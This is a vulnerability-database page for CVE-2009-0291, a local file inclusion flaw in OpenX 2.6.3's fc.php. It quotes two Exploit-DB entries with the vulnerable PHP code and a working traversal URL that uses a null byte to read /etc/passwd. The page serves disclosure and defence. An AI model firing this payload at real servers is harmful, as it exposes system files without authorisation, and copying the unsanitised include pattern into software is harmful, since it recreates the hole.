CVE-2009-0291
published 2009-01-27CVE-2009-0291: Directory traversal vulnerability in fc.php in OpenX 2.6.3 allows remote attackers to include and execute arbitrary files via a .. (dot dot) in the MAX_type…
PriorityP349high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
7.04%
93.4th percentile
Directory traversal vulnerability in fc.php in OpenX 2.6.3 allows remote attackers to include and execute arbitrary files via a .. (dot dot) in the MAX_type parameter.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| openx | openx | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
OpenX 2.6.2 - 'MAX_type' Local File Inclusion
exploitdb·2009-01-26
CVE-2009-0291 OpenX 2.6.2 - 'MAX_type' Local File Inclusion
OpenX 2.6.2 - 'MAX_type' Local File Inclusion
---
source: https://www.securityfocus.com/bid/33458/info
OpenX is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.
OpenX 2.6.3 is affected; other versions may also be vulnerable.
http://www.example.com/www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00
Exploit-DB
OpenX 2.6.3 - 'MAX_type' Local File Inclusion
exploitdb·2009-01-26
CVE-2009-0291 OpenX 2.6.3 - 'MAX_type' Local File Inclusion
OpenX 2.6.3 - 'MAX_type' Local File Inclusion
---
include_once '../../init-delivery.php';
$MAX_PLUGINS_AD_PLUGIN_NAME = 'MAX_type';
if(!isset($_GET[$MAX_PLUGINS_AD_PLUGIN_NAME])) {
echo $MAX_PLUGINS_AD_PLUGIN_NAME . ' is not specified';
exit(1);
}
$tagName = $_GET[$MAX_PLUGINS_AD_PLUGIN_NAME];
$tagFileName = MAX_PATH . '/plugins/invocationTags/'.$tagName.'/'.$tagName.'.delivery.php';
if(!file_exists($tagFileName)) {
echo 'Invocation plugin delivery file "' . $tagFileName . '" doesn\'t exists';
exit(1);
}
include $tagFileName;
If a null byte is appended to the end of a string, and directory traversal is used in the GET parameter MAX_type,
like so: /www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00, you will see
the /etc/passwd file before you ;)
No writeups or analysis indexed.
2009-01-27
Published